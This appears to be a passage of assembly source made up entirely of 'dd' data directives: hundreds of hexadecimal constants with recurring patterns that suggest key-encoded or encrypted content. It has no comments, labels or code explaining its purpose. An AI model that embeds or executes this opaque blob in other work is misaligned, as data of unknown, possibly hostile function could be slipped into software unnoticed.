		dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 0E3531EABh, 365DB162h
		dd 56AC383Dh, 0E06B132h, 0EABB153h, 56D5B130h, 91AB0DE7h
		dd 5692DE0Ch, 2E028611h, 0AA5DB10Ah, 0E8939CBh,	5657B130h
		dd 0D62CB31Dh, 564500E0h, 5F03D132h, 0DE75B132h, 2BB08898h
		dd 0E47008D6h, 56AB3F3Dh, 12E9B132h, 3786A6ADh,	0D8DAB132h
		dd 56EAB13Ah, 56FFBE52h, 37BAB132h, 0DC52B132h,	56AEB12Eh
		dd 56435952h, 7392B132h, 29DD99BDh, 5F7E7DB9h, 3A18B163h
		dd 538F282Ah, 3705C7D5h, 0D1A1B132h, 5657B134h,	8E20D752h
		dd 56D5D0CAh, 56E6303Dh, 0D07AB132h, 56BAB134h,	565D3E3Dh
		dd 0B900B132h, 5651B16Fh, 3380B132h, 0AA90E180h, 568B5D85h
		dd 0C6754432h, 56ABB16Dh, 93BCB132h, 0BD5D4497h, 0D453D638h
		dd 22C9393Eh, 0BEF84E31h, 56EAB139h, 8F164A9Ah,	0C99765C5h
		dd 0D79C83B8h, 0E7BFEFE2h, 5636EA16h, 56AB4832h, 56D4343Dh
		dd 0AA12B132h, 0D97AB132h, 56BAB13Ah, 565F313Dh, 37CEB132h
		dd 0DD58B132h, 56ABB133h, 56D544CAh, 0AFEAB1CAh, 5C9CB132h
		dd 0B5BAB132h, 0EF0EF4B3h, 0B8E8440h, 5957B174h, 56ABB9B9h
		dd 545EBE32h, 36EAB132h, 0BF75B153h, 56BAB126h,	8C6148F8h
		dd 0D3774000h, 1CBD6BB6h, 18EF8B4Ah, 13983EC2h,	48AB132h
		dd 5D80316Dh, 36BAB153h, 563C5283h, 432BBE32h, 0BF57B132h
		dd 56ABB122h, 0C80B1370h, 40D6E479h, 62805DF4h,	0D7059E67h
		dd 365DB1CAh, 0DD783A52h, 0E158D0FDh, 56ABD0C3h, 56DE333Dh
		dd 0D68AB132h, 0DF7AC7D4h, 56BAB132h, 0A35DB153h, 0D5A1B132h
		dd 5657B135h, 56AA3F3Dh, 562CB132h, 9D61D132h, 361472B9h
		dd 0EE5A30CEh, 3716A028h, 4747B132h, 757B132h, 0C8BD15DFh
		dd 610B5C81h, 169C24BFh, 94D41B72h, 0EDDAB132h,	6226FBCh
		dd 56CFEC80h, 57DBBE32h, 0AEABB132h, 503CB132h,	32EAB132h
		dd 63D9CEE1h, 56BAB388h, 63DB132h, 56AEA5DBh, 0CE53C432h
		dd 86D41681h, 0BD685129h, 9F11AF5Eh, 82DABA2h, 0DDE9EF54h
		dd 8E3CEEF9h, 57AEB335h, 4657A832h, 4CABAF32h, 56D78D32h
		dd 5A03D152h, 0B575B132h, 95B2ADC9h, 7C06AACBh,	0BF2C6D89h
		dd 5657B13Ch, 440346BFh, 0E1CA1621h, 7FA9C6D7h,	0D61469D9h
		dd 56DBC7E8h, 5BD5BE32h, 0BFAEB132h, 5657B13Ah,	7D2D8683h
		dd 0FCB6B52h, 56EAB7DBh, 0D42BAD32h, 56FDD1DCh,	0EE3BD132h
		dd 375BFB35h, 5ABEB132h, 0AFABB132h, 0EE964975h, 50727046h
		dd 56E74B02h, 5731BE32h, 0A35DB132h, 58A80B52h,	0DD3191F9h
		dd 56ABD0FDh, 56D5BADBh, 8CF14332h, 732140F5h, 87D3808Eh
		dd 540BB132h, 56AEB7B6h, 0D4973032h, 0D789AA50h, 0E7D497DCh
		dd 56EAD043h, 75B1C7h, 56B05930h, 9F09B132h, 3CC96169h
		dd 0BF17A454h, 37F37BB9h, 503CB132h, 6DEAB132h,	3B8B7E8Eh
		dd 5F532178h, 9B5DB132h, 9F7E22B0h, 0D3AB5EFCh,	0CD1DD162h
		dd 453DE362h, 89EAB132h, 0ADFF441Eh, 81ECC02Ah,	25BF1CF6h
		dd 99801802h, 590FD46Eh, 0CF3E203h, 3F45D06Ah, 73F63EDCh
		dd 87F41AC8h, 71274FF4h, 565DBDDBh, 4730532h, 0C88E9111h
		dd 0FC3EFD4Dh, 0C5B42CA9h, 0BBEEA6A4h, 0BF050210h, 0F326BE5Ch
		dd 0FACE9A48h, 30D5BB47h, 0D38178B3h, 56ABBDDBh, 34F8F532h
		dd 0F8C301C1h, 0EC906D7Dh, 0DFDB2C59h, 36599576h, 56BC58AEh
		dd 0B545B132h, 69F528D2h, 0DBFE43Eh, 61DC60CAh,	85B7BC96h
		dd 0BFB474B2h, 565DB126h, 1DB4740Eh, 71B1F01Ah,	95D9CCE6h
		dd 496BC872h, 6D20845Eh, 5D9C2DAFh, 41BAB132h, 0E57F5C36h
		dd 59C05842h, 0B6D614AEh, 57DFCBAh, 56D5B7DBh, 62EDF732h
		dd 0CBD6636Fh, 8B0EE953h, 8F7D9260h, 0C3E2CEACh, 0BF6F64B2h
		dd 56ABB134h, 1B31C644h, 3077A230h, 37E9DE8Bh, 529EF5BBh
		dd 50B42D52h, 70AEB132h, 0E4EAA555h, 0A86D3031h, 0BFB89429h
		dd 56EAB126h, 2D7FC49Eh, 16C40AAh, 0A53F9C76h, 19009882h
		dd 3DED54EEh, 3EEC0FAFh, 0EB4F27Fh, 0B57C9BC3h,	53F6BE01h
		dd 0ECBAB132h, 0D340A2Fh, 59AEB153h, 5657B0B9h,	56AB4432h
		dd 62C3A52h, 56EAA0DBh,	6683D632h, 69F97CB8h, 9CF66B15h
		dd 0B365FEDFh, 370C35F1h, 59ABB1C7h, 56D5BCBFh,	56E25832h
		dd 5A6CB132h, 95F6037Bh, 565DDEAFh, 56A9353Dh, 0D158B132h
		dd 56ABB133h, 59D5B1C7h, 56EA94B6h, 449CD132h, 0F4BAB132h
		dd 2333DEBDh, 2288E12Fh, 0AABA8815h, 6E66C0B2h,	56D359AEh
		dd 760CB132h, 9A58EA96h, 56BAD06Dh, 988E0852h, 0FCDC51h
		dd 5636E86Dh, 0D7CDD132h, 0BF0F1BF3h, 56EAB13Dh, 0A9A937ECh
		dd 6C2B19FEh, 32914A01h, 3780CF4Eh, 0D758B132h,	56ABB125h
		dd 56D95952h, 0E3DAB132h, 0E0C4D19Ah, 0AD035B51h, 59023F10h
		dd 56CF6A8Dh, 565D5832h, 0F1BBB132h, 14D9CD00h,	0CE5F916Fh
		dd 567B303Dh, 5F53B132h, 0B25DB132h, 36846F24h,	462D6611h
		dd 59CBB132h, 0A75E6785h, 59EAB153h, 5675B6B8h,	5739BE32h
		dd 0AE5DB132h, 5C47B132h, 357B132h, 8F485C24h, 0A6AA3645h
		dd 59EAB1E4h, 5675A4B2h, 56AA5832h, 0AE6FB132h,	66A0CC36h
		dd 2D19740h, 9E6B3D22h,	56D53443h, 56EABADBh, 0DD79C232h
		dd 105F95C9h, 69E21CF0h, 5652B132h, 5AD2BE32h, 59ABB132h
		dd 56D5B7B6h, 566CBE32h, 5675B132h, 56AB5832h, 8076B132h
		dd 0D1E28793h, 7FF7AEC8h, 8EC35F68h, 565BE05Dh,	56E15832h
		dd 0BF61B132h, 78A1D73Ah, 63788E63h, 0AEAEB10Bh, 0D758B132h
		dd 56ABB135h, 56D4353Dh, 5612B132h, 56795832h, 0A674B132h
		dd 7B81AD3Dh, 0C455285h, 56571B4Ah, 56AA3A3Dh, 5620B132h
		dd 56EA4932h, 0D07AD1C7h, 56BAB12Ah, 565DA2DBh,	5A81FD32h
		dd 0F4D1FD35h, 0F5625DC8h, 0BB7BCFCEh, 98386699h, 5614E686h
		dd 4553D132h, 0C5DB132h, 0E104F7CFh, 3238D434h,	0A316C383h
		dd 65C6CFC9h, 0E1E5BDD0h
		dd 5675D0F4h, 0AFBAB1CEh, 50B4B132h, 5CAEB132h,	1EC37CA7h
		dd 59ABB1F0h, 56D5BCBDh, 56E25832h, 1C0CB132h, 9507E7h
		dd 565D8F5Ch, 5D24BE52h, 0BE57B132h, 56ABB137h,	0B679156h
		dd 0ED8CEA62h, 361496BDh, 56AB5964h, 2936B132h,	0DFB1A8C6h
		dd 477DF806h, 81301E28h, 0F33DCB0h, 56EC586Ch, 5BCEB132h
		dd 0BBAF3412h, 0BF5DB153h, 56AEB13Eh, 7D71B0C6h, 0A04A1E72h
		dd 9C72A9C8h, 0D2E5B132h, 5675B133h, 56AE58CEh,	812EB132h
		dd 747CF278h, 9EE0BD0Dh, 452215ECh, 23CDE9B6h, 56EA2115h
		dd 5675A3DBh, 0BB2A4332h, 5544619Fh, 64419D20h,	90CA8906h
		dd 5621A64Bh, 56D54832h, 56EAA3DBh, 1BC64F32h, 31D44013h
		dd 0C4BE211Ah, 0E267C609h, 0BF092AEAh, 56ABB138h, 0D65C8202h
		dd 7D61ED76h, 567537C5h, 36BAB1CEh, 565DA2DBh, 2A49732h
		dd 8697F556h, 0C8C9ABA0h, 0DA710215h, 0F8FD0C86h, 5675BDDBh
		dd 70C71D32h, 0C25D53EDh, 9F35882Fh, 5657D042h,	0D7CDE352h
		dd 9460DD4h, 755268B3h,	0AF14CAA3h, 0D6B5B132h,	565DB13Eh
		dd 56A83D3Dh, 0D458B132h, 56ABB132h, 0D3DAB132h, 56EAB124h
		dd 5675A0DBh, 75DEA032h, 446C0689h, 968F2BB0h, 0C91EF265h
		dd 56ABFB44h, 36D5B1CBh, 56EC393Dh, 0D37AB132h,	56BAB132h
		dd 595DB153h, 56AEB0BBh, 56574432h, 56A05952h, 0E3C9B132h
		dd 4B1839CEh, 7A4AB305h, 9810698h, 565DBEDAh, 7599D32h
		dd 0AF1B01D4h, 82927DACh, 2B3305CDh, 8E8D0F54h,	0DC15D06Ch
		dd 56BAD0FCh, 565DBDDBh, 0F9B8F632h, 0E9AF2255h, 3C156AE2h
		dd 56D54995h, 0BF2D3B52h, 5675B13Bh, 59C786FCh,	9461F071h
		dd 0D0A1D049h, 5657B13Eh, 56AD3F3Dh, 0DBDAB132h, 56EAB132h
		dd 459CB132h, 0B1BAB132h, 0C91B692Bh, 0A73F905Fh, 0CF5BF84Ch
		dd 63798D03h, 56D501B2h, 56EAB9DBh, 0DCD89E32h,	5B26648Ah
		dd 0BF5DB1D9h, 56AEB13Bh, 0D487E185h, 7E2C2BD2h, 0AED5B102h
		dd 0BF16B132h, 5675B138h, 0AB083115h, 4C0BF21Ch, 56AE99DCh
		dd 5676343Dh, 59CBB132h, 56D5B1BEh, 56FE5832h, 0BDB132h
		dd 87158133h, 0FED6DA4Ah, 0F2860A54h, 0F6F9CA11h, 56CA0E9Ch
		dd 5F3CD132h, 0F6EAB132h, 0CC6BCCA6h, 0C7010467h, 595DB153h
		dd 56AEA2B7h, 56595832h, 0D888B132h, 3726FA1Eh,	0C9347472h
		dd 3CB24C87h, 0DCB5B132h, 565DB135h, 56AF303Dh,	36ABB132h
		dd 594E7FB2h, 56D5B2BDh, 0A461D732h, 5975B153h,	56BABDBCh
		dd 565A5832h, 6B16B132h, 4AC2E293h, 36ABB1B0h, 91F3A63h
		dd 36EAB153h, 37863A54h, 4453B132h, 0FE5DB132h,	240DA6AAh
		dd 1D6EDCD5h, 2423CDFCh, 85BFD35Ch, 0BFEAB117h,	5675B138h
		dd 64CDAF62h, 13D6F9Eh,	5D47FAD1h, 9A57B132h, 650EE2C3h
		dd 0B28B175Eh, 56EA6C52h, 5675BBDBh, 2F73C332h,	8E750EF2h
		dd 56B5491Dh, 45BE4432h, 0B4ABB132h, 9F1EF28Bh,	0B263DEF2h
		dd 0F91A0727h, 0FD5A4814h, 565D56CAh, 56AE44CBh, 5657BADBh
		dd 3716F732h, 4378E158h, 3BAEDE77h, 0D77AB132h,	56BAB13Eh
		dd 565B3E3Dh, 0D2A1B132h, 5657B132h, 565EB132h,	56D95832h
		dd 8CF9B132h, 926ACF7Dh, 817247FDh, 565DAA7Bh, 59AEB1C7h
		dd 5657A6B3h, 56B95832h, 0A10BB132h, 35CE1871h,	4BCF5422h
		dd 0A3F9523Dh, 1A8C2A93h, 0D2A1B132h, 5657B121h, 56ABBFDBh
		dd 2E777D32h, 880DAC10h, 0E78BFA3Bh, 0BF74D8F6h, 565DB123h
		dd 0B57EE625h, 4E896560h, 0A43FCE79h, 1E740183h, 36EAB17Bh
		dd 0A0200F54h, 56BAA3DAh, 48605E32h, 29075DE8h,	34F34890h
		dd 0FCEC3A0Ah, 368F650Ch, 368BE853h, 0F82243B3h, 0DAD711h
		dd 563CD06Dh, 56A75832h, 0AC0B132h, 56CF519Eh, 5678AFB4h
		dd 56EF5832h, 90B3B132h, 5674542Eh, 5ED5BE32h, 59AEB132h
		dd 5657B3B4h, 56CAD132h, 5E5CBE32h, 59EAB132h, 5675B3B5h
		dd 56DBD132h, 56525832h, 9EE6B132h, 3C5986FBh, 0FB9C65h
		dd 9831DDEBh, 59EAB1B5h, 5675BBBDh, 0A431D132h,	9F97BB3h
		dd 56CFD93Ch, 58D9BE32h, 0BFABB132h, 56D5B13Bh,	2AB636FCh
		dd 0C3F5F184h, 5852D139h, 45DB132h, 0F3E8FF90h,	0EA4C8DFAh
		dd 3FA11C9Dh, 56DA59F6h, 2B08B132h, 0ACAA57Eh, 6618306h
		dd 21EA6086h, 0AFF0EE97h, 0BF57B153h, 56ABB13Ch, 9DBE8970h
		dd 3167F823h, 3BD84973h, 56BA6305h, 56505852h, 811DB132h
		dd 0A1534BB8h, 5DE9CBABh, 0BE0B7562h, 56EAB13Dh, 303B33CCh
		dd 0A2C314C3h, 0B15D3A11h, 30D0DD79h, 0DD0BE89h, 0BFABB153h
		dd 56D5B120h, 0ADB88D1h, 117E9654h, 0DDE9DE18h,	5EF1F562h
		dd 56AEBDC1h, 5657BEDBh, 0D9D38432h, 92D1E077h,	441957A0h
		dd 0D67C340Eh, 4553B132h, 2F5DB132h, 0BBD4434Dh, 2B4626CDh
		dd 1505ED4Bh, 0E7FF58E4h, 56EA8E6Ah, 567D5852h,	975B132h
		dd 0A702D835h, 0DDC861EEh, 5657D0FDh, 30180252h, 37D46E88h
		dd 0A06BD752h, 5A9CC902h, 0A0BAB132h, 7EBA76C2h, 712A8122h
		dd 37E9FA7Bh, 5842B132h, 5D5B132h, 6AB6F66Fh, 2CAD9C9Dh
		dd 54C9BD89h, 595DB111h, 56AEB0B1h, 56574932h, 36ABB1CAh
		dd 0BF1C0E3Dh, 56EAB13Ch, 63A78D03h, 807C01B2h,	94A49924h
		dd 59CFF3A4h, 5657BDBAh, 5021BE32h, 59D5B132h, 56EAB1BAh
		dd 0BF75B132h, 56BAB13Ah, 2FCFF89Eh, 366A53C9h,	0D858B132h
		dd 56ABB13Bh, 8054D752h, 378A2768h, 5975B153h, 56BAB0B6h
		dd 0D2524932h, 56AEB13Ah, 5655393Dh, 37CBB132h,	5629B132h
		dd 56EA4432h, 29843052h, 0BE8C533Eh, 565DB134h,	53083461h
		dd 0D731AD58h, 0D487EDBh, 0AFD5B153h, 0D4E5B132h, 5675B121h
		dd 56BABFDBh, 59775632h, 0AAC7E304h, 0BF6B674Eh, 562FFEF2h
		dd 56D85832h, 0D22AB132h, 0C140D205h, 0FD452035h, 5683EB8Bh
		dd 56AE4D32h, 0A8DCD752h, 56A8393Dh, 0DDB3B132h, 56EAD0C8h
		dd 0B9FFD1CAh, 56BAB7DBh, 14E13132h, 374F8E9Fh,	56A2B132h
		dd 5E2ABE32h, 59D5B132h, 56EAB3BBh, 5614D132h, 0DCEDD132h
		dd 563CEECEh, 56AE4832h, 5657A0DBh, 0ABEE8232h,	2C6515E5h
		dd 78324011h, 6A80B582h, 56BA4004h, 565DBADBh, 0CBFE0B32h
		dd 0A0D2921Ch, 0E41A15B4h, 0D2DAB132h, 56EAB13Eh, 5673343Dh
		dd 0DDB5B132h, 565DB132h, 532CBE52h, 0EC57B132h, 6F629120h
		dd 56C6313Dh, 5803B132h, 0AE75B132h, 7225B647h,	998722BBh
		dd 12852B1Eh, 5657D0ABh, 37F2E352h, 0D6DAB132h,	56EAB133h
		dd 3675B1CBh, 34234B8Ah, 0D73BE634h, 95E9AFDh, 5957B153h
		dd 56ABB0B3h, 56D54832h, 56E4303Dh, 5F9CB132h, 0D3BAB132h
		dd 42EE26B3h, 31AA5B06h, 0D558B132h, 56ABB133h,	0BFD5B1CBh
		dd 56EAB13Ch, 72FCB73h,	82639F81h, 6A6731EDh, 56AE10DFh
		dd 5644353Dh, 5842B132h, 5ED5B132h, 98EC4FF4h, 86098723h
		dd 6B9462Ch, 365DB11Eh,	0D7C879B9h, 37E047DDh, 5657B132h
		dd 5751BE32h, 0AEEAB132h, 429CB132h, 0B5BAB132h, 3A7DAF91h
		dd 0F9B009CFh, 0F1ED966Dh, 0A90F452Eh, 56619EF6h, 56FA5832h
		dd 0F803B132h, 3236C507h, 532AA60Eh, 6347BA93h,	56577767h
		dd 59ABB1CAh, 56D5BBBFh, 56EF5832h, 0C357B132h,	0A3AC1807h
		dd 56A4B132h, 56AE4832h, 3657B1CBh, 0E213938Dh,	56C55828h
		dd 0AB48B132h, 354076ECh, 0A2F43181h, 154A89ECh, 56CFC1BBh
		dd 565B5832h, 0FAEDB132h, 0F0960FA0h, 0DE287249h, 5675C77Ah
		dd 0EFB70752h, 2BDE142Ah, 59AEB153h, 5657A1BBh,	56A05832h
		dd 8DF2B132h, 0CD39B105h
		dd 0AC0F50F9h, 0BFBAB1A6h, 565DB122h, 0D2BC7A24h, 5F1617CBh
		dd 1C796A56h, 69317AC2h, 4203B132h, 0D75B132h, 0B120719Ch
		dd 0A7895AF7h, 0F7656A99h, 25DBC0A3h, 592240B0h, 56D5B0B7h
		dd 56EA4432h, 5675B9DBh, 839F32h, 5BF4932h, 36AEB11Eh
		dd 9FECDE89h, 0E9A4E647h, 56B4EEC4h, 56EA4432h,	0BF75B1CAh
		dd 56BAB120h, 3DCD512Ah, 552D791h, 5D578EB4h, 50CF5FACh
		dd 56D53B76h, 56EAA5DBh, 8A360D32h, 6FBB40B8h, 24584F05h
		dd 0B3D0C49Bh, 91CFC92Ah, 56BF58ADh, 0F714B132h, 8B6A099Dh
		dd 4053F305h, 3AC9474Ah, 883B94D4h, 56AEF048h, 565A5952h
		dd 0F50FB132h, 8624BA1Bh, 0AF78780Fh, 0BF30C806h, 56BAB13Eh
		dd 5B51AC0Bh, 0B46974E9h, 0A5AAB8EAh, 4442D068h, 0D0D5B132h
		dd 0FEB2C513h, 97CC61BFh, 274AC1D9h, 6AC0CFEFh,	0BFAEB12Ch
		dd 5657B13Ch, 5B9595Dh,	4B858BEEh, 6BCB906Fh, 5675B762h
		dd 0E9DCD1CAh, 0D652A32Eh, 56AEB136h, 0A85B0E54h, 0BFABB153h
		dd 56D5B126h, 8500AC45h, 80570297h, 5AC22D78h, 0B23BAA2Ch
		dd 3BF380DAh, 3037B132h, 30AF1C8Ah, 36B477B9h, 0BC6BD760h
		dd 592F7C7Bh, 56DB668Dh, 565B5832h, 421CB132h, 6E09A307h
		dd 0AEABB1C7h, 5D3CB132h, 48EAB132h, 661DC7BFh,	0B8813AFEh
		dd 565DA04Dh, 5524BE52h, 5957B132h, 0DDCD6E85h,	56D5D0C1h
		dd 0AAEAB1CAh, 5F9CB132h, 0AABAB132h, 0C4B931DBh, 63811F4h
		dd 36AFB132h, 10F356B3h, 7764DFC6h, 0A3EAB153h,	0D77AB132h
		dd 56BAB123h, 565DBDDBh, 67340332h, 21BFCB4Dh, 3EBDA77Eh
		dd 59D5B1E2h, 56EAB0BAh, 56754D32h, 56BB303Dh, 0AEA4B132h
		dd 0DDA1B132h, 5657B126h, 56ABBEDBh, 0C997B732h, 7F205BBh
		dd 3028B1D3h, 5903D734h, 365DB1CBh, 0D8A16FB8h,	5657B133h
		dd 56ABD0CEh, 56D5A3DBh, 43AF6A32h, 1D4E271Fh, 0F6A12142h
		dd 0E5B6AB27h, 56563D1Ah, 56585832h, 92A9B132h,	30F19732h
		dd 0B87DA7CDh, 2B2A7411h, 0BFBAB195h, 565DB123h, 8BFB4382h
		dd 5C959488h, 8077FE9Ah, 9BA88C6Eh, 0A3EAB15Eh,	5915B132h
		dd 56BAB3BDh, 59873A32h, 56CF4B8Dh, 56475832h, 0FEFB132h
		dd 64372012h, 6E4C1FDBh, 2F3CB4BDh, 56BA5C72h, 5655363Dh
		dd 0DBA1B132h, 5657B130h, 56ABD052h, 36D5B1CAh,	9E6EAB89h
		dd 568DD06Dh, 56AB5832h, 0C17B132h, 0E308C473h,	7A8667Ch
		dd 35FBB18Ch, 56B2B2AEh, 5163BE32h, 5975B132h, 56BAB0B1h
		dd 565D4432h, 56AEA0DBh, 626DF932h, 0C7B34592h,	160A25B8h
		dd 0BEB5BB61h, 5675DC10h, 59BAB1CBh, 565DBDBCh,	5023BE32h
		dd 5957B132h, 56ABB1BBh, 0A3D5B132h, 5B03B132h,	0B875B132h
		dd 4ECA523Ch, 0B5A8A42Fh, 0E2E59E13h, 56A2B132h, 56A05832h
		dd 0CF80B132h, 121D78BAh, 5A8F7307h, 56BA4852h,	0AF5DB1CBh
		dd 5347B132h, 4657B132h, 0C45DF80Ah, 562DB132h,	368AD132h
		dd 8FF4D753h, 0BEDB7CDBh, 565DB134h, 0C758272Ch, 370C2CCAh
		dd 0DFA4B132h, 56D5B135h, 56EB3F3Dh, 5689B132h,	30E9D132h
		dd 9A6EE89h, 0BC2ED153h, 2D150850h, 56CA9E7Dh, 56D05832h
		dd 0EC96B132h, 3608409Ch, 476D3054h, 0A5D6D76Fh, 59AEB153h
		dd 5657B0B8h, 56AB4432h, 56D5BBDBh, 2E4A832h, 0CD5F0AEAh
		dd 56C0B0F2h, 0D73D4D32h, 7F68C1E3h, 0DBF3156h,	59ABB153h
		dd 56D5BBB9h, 0DBE5D132h, 5675B132h, 56DBE963h,	40DABE32h
		dd 36AEB132h, 5657B8DBh, 0B26CE632h, 5A5F0849h,	0DDE58522h
		dd 5675B132h, 59BAB153h, 565DB4BEh, 0DDC8D132h,	5657D0C5h
		dd 36ABB1CBh, 0EFB369B9h, 568B1BB5h, 56754932h,	56BAB4DBh
		dd 971AB932h, 0DBA1E2DBh, 5657B133h, 0A3ABB1CEh, 5A3CB132h
		dd 0EAEAB132h, 0BDF8B469h, 0B21DE3EEh, 5678DC69h, 56A05832h
		dd 36F8B132h, 0C0C6830Ch, 5342E249h, 6F88A6B3h,	5675A1DBh
		dd 0B0714B32h, 746DEF28h, 0F5C18B17h, 0EE7544F8h, 59ABB18Fh
		dd 56D5B6B2h, 5763BE32h, 0AF75B132h, 0BFBAB1CEh, 565DB126h
		dd 3B102579h, 0E9FB9838h, 3A9DB056h, 0FCF3BF89h, 3212A3A5h
		dd 469CB132h, 35BAB132h, 0E088FB4Bh, 68C0E71Dh,	0ABB07302h
		dd 56C56903h, 56D54932h, 32003152h, 56146BB9h, 56BD5832h
		dd 0A4FDB132h, 0DF0DF5D7h, 3657B1A2h, 2E493054h, 56D359A4h
		dd 835BB132h, 261EAE99h, 56BA3F3Dh, 3705B132h, 3652B132h
		dd 5654363Dh, 0E9A4B132h, 56C658F8h, 91AB132h, 57CA1E4Ch
		dd 1744EACDh, 0DFF5C503h, 5130F34Dh, 5657D00Ch,	56AA353Dh
		dd 562CB132h, 5766BE32h, 0AA75B132h, 5D53B132h,	1F5DB132h
		dd 5B0E5A6h, 0E396EA7Ah, 56ABBA3Dh, 56D25852h, 52FFB132h
		dd 0DA0C7C0Ah, 9005BEC9h, 0AE5DB153h, 56AEA1DBh, 61C6A32h
		dd 5AE076B6h, 0B7E8C951h, 25A9D006h, 0A375B139h, 56BABCDBh
		dd 42A74B32h, 9DD068Fh,	0AC280029h, 56AB6D95h, 56D5BCDBh
		dd 0AEC56932h, 81C6F929h, 0A1BE4BB8h, 565DCBABh, 56AEA3DBh
		dd 7D586432h, 300F0C29h, 924CE84Dh, 0C5445D23h,	56EA4F43h
		dd 56B55832h, 16EDB132h, 94CA9B88h, 132414A1h, 54715D0Fh
		dd 0BFD5B1F6h, 56EAB120h, 4C6D66F3h, 89A10C62h,	256760F3h
		dd 0D437DEE2h, 5657FEBDh, 56AA393Dh, 5620B132h,	0EC8CD132h
		dd 5614DC23h, 4553D132h, 315DB132h, 8242C6BAh, 0E38F4F72h
		dd 0ED147872h, 0D45255E1h, 0E98C020Fh, 5914C5E2h, 56BABDBAh
		dd 50D6BE32h, 59AEB132h, 5657B1BCh, 59ABB132h, 56D5BDB4h
		dd 5069BE32h, 5975B132h, 56BAB1B5h, 565D4932h, 56AF3F3Dh
		dd 56AEB132h, 5343D132h, 0B7D5B132h, 335FE93h, 5675A2DBh
		dd 0C0307A32h, 5759188h, 0FB631560h, 16BF3C82h,	677EE6F0h
		dd 0D9DAE06Ch, 56EAB132h, 5675D069h, 36BAB1CAh,	0BF85063Dh
		dd 56AEB138h, 0C4E962C7h, 6781D83Ah, 56B4815Dh,	5763BE32h
		dd 0AA75B132h, 0DCDAB132h, 565858DDh, 70DCB132h, 3747E5B4h
		dd 5652B132h, 5058BE32h, 36EAB132h, 3715A380h, 0BFBAB153h
		dd 565DB13Ch, 0C5F3F676h, 0FE38C81Ch, 3BB27388h, 56D54DD9h
		dd 0BFEAB1CEh, 5675B126h, 2A9820D2h, 0BF415BAEh, 0BC7C0AD2h
		dd 19C686C0h, 71282C7Dh, 36B5B132h, 372D063Dh, 5675D0C7h
		dd 56BAA3DBh, 70369432h, 0CCE3B35Fh, 0A771C610h, 0BCAA6157h
		dd 56560DFDh, 5763BE32h, 0AE75B132h, 0DFB5B132h, 565DB12Ch
		dd 145C3152h, 5657A5DBh, 541732h, 0F42DF14Ch, 0E1805F9Eh
		dd 0E42B3D74h, 2BFECE49h, 565DD0FCh, 37CEE052h,	54D3BE69h
		dd 0ABB132h, 56D5D06Dh,	56EB333Dh, 568CB132h, 56BA4D32h
		dd 565DBADBh, 51F6D832h, 0FB726BAh, 0DEB8BC66h,	59B5B132h
		dd 0D8E57885h, 5675B130h, 56DBD052h, 5FB44932h,	0E7AEB132h
		dd 7EE0DDC0h, 94765CB2h, 0AEB5B132h, 37737AB2h,	519CB132h
		dd 79BAB132h, 8A7D5F70h, 56AEA043h, 0A3E9E652h,	0EABD11Eh
		dd 56D7353Dh, 378AB132h, 0D5C5D153h, 93610A54h,	365DB153h
		dd 56AEBCDBh, 127A1232h, 8B68BD99h, 473B847Ah, 308A8EE4h
		dd 9D9573B3h, 0DE7C3054h, 563CD052h, 56AB5832h,	7DC7B132h
		dd 56E5D288h, 56204432h, 56FA5832h, 2A6B132h, 0DC85013Dh
		dd 0EEC7F2E0h, 32E737F7h, 59BEB529h, 85ABB132h,	12811B57h
		dd 0F8A46B82h, 4F30360Fh, 56BA1CDCh, 0A35DB1CAh, 6CEB132h
		dd 3636486Ah, 37D007CEh, 443CB132h, 3EEAB132h, 579F4A73h
		dd 85D4544Eh, 57FC6A1Bh, 56032C7Bh, 0A357B19Bh,	4642B132h
		dd 4ED5B132h, 0EA5DD1CCh
		dd 3D3E7599h, 0F32F63EEh, 568A2637h, 56AE4D32h,	6EFD752h
		dd 0B52AD7B5h, 56B45F91h, 56EA4D32h, 5975B1C7h,	56BABBBCh
		dd 0DE52D132h, 56AEB132h, 563679B9h, 0D7A4D132h, 56D5B132h
		dd 56EA4853h, 56743D3Dh, 564FB132h, 0D752D132h,	56AEB132h
		dd 56D9BE52h, 36ABB132h, 56B4D053h, 56E15832h, 3836B132h
		dd 21239BB3h, 17D8F5F5h, 36AEB15Ch, 375C55B2h, 0D6A4B132h
		dd 56D5B13Bh, 0E9B2E652h, 8359F76h, 36BAB153h, 98D6D764h
		dd 8D2FD76Bh, 56365928h, 56AB4432h, 56DB5952h, 0BADBB132h
		dd 0A8102EFCh, 88B60919h, 5950A972h, 56AE3D3Dh,	300DB132h
		dd 2A8B63B3h, 0AFD5B153h, 0AF12B132h, 0DE7AB132h, 56BAB138h
		dd 3AB53052h, 49FA7B4h,	5657D068h, 862AE152h, 75E09319h
		dd 8E5DBE69h, 0A375B153h, 0E5DAB132h, 0F0DD1B9h, 56AED053h
		dd 565B343Dh, 5142B132h, 79D5B132h, 37AFBC0h, 0DA7AFAC1h
		dd 56BAB135h, 565C393Dh, 5657B132h, 56574432h, 5020BE52h
		dd 59D5B132h, 56EAB1B3h, 5689D032h, 56B35832h, 72BB132h
		dd 5835D9E5h, 562EA5F4h, 5E26BE32h, 59D5B132h, 56EAB3B5h
		dd 5614D132h, 4532BE32h, 0BF5DB132h, 56AEB13Ch,	0C5DC35A6h
		dd 1CCBEEh, 41836734h, 56EA3FD3h, 8CFED752h, 0A805BE64h
		dd 565DD068h, 56AEBCDBh, 8501BB32h, 6DF2B023h, 4652A386h
		dd 56EA308Bh, 0BF75B1C7h, 56BAB13Ah, 0C4DB0D96h, 4D455392h
		dd 42BEB132h, 0BDABB132h, 33A51704h, 0DAA8E41Bh, 59AC3AA8h
		dd 1E915F5Dh, 56EB1C91h, 56A75832h, 0B057B132h,	0CC9C94C3h
		dd 0A3B19F76h, 56024452h, 0C75B132h, 0E3545BB3h, 0E53DB932h
		dd 0D7C8D126h, 36DB9DE9h, 59CAD053h, 56D5A8B3h,	56FE5832h
		dd 7DBAB132h, 545A2B69h, 0EC19BB0h, 2FD515F2h, 0C78D4440h
		dd 59CB3466h, 56D5B7BBh, 0A1193032h, 0BF492EC4h, 56BAB13Bh
		dd 3CC7349Dh, 5B66AD89h, 0D3DAD00Dh, 51540A5Fh,	56D5B8DBh
		dd 2A6CCF32h, 0FA2A1F32h, 0D4337F27h, 5E5D2FABh, 56A23A3Dh
		dd 0DE58B132h, 56ABB134h, 56D5333Dh, 0D467B132h, 5E74EA8Dh
		dd 56BABADBh, 0C3038832h, 2D1904CBh, 297218B0h,	0C80633BBh
		dd 0D3DAB932h, 56EAB12Bh, 23973052h, 0BF9028DBh, 565DB13Eh
